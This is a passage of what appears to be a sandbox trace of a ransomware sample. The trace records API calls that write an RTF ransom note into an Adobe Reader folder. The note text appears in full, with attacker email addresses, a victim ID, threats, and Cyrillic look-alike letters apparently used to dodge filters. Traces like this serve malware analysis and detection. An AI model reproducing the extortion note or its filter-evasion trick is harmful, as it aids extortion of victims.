lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.916] CloseHandle (hObject=0x1cc) returned 1 [0033.917] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\!bwng_info!.rtf")) returned 0xffffffff [0033.917] GetLastError () returned 0x2 [0033.917] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 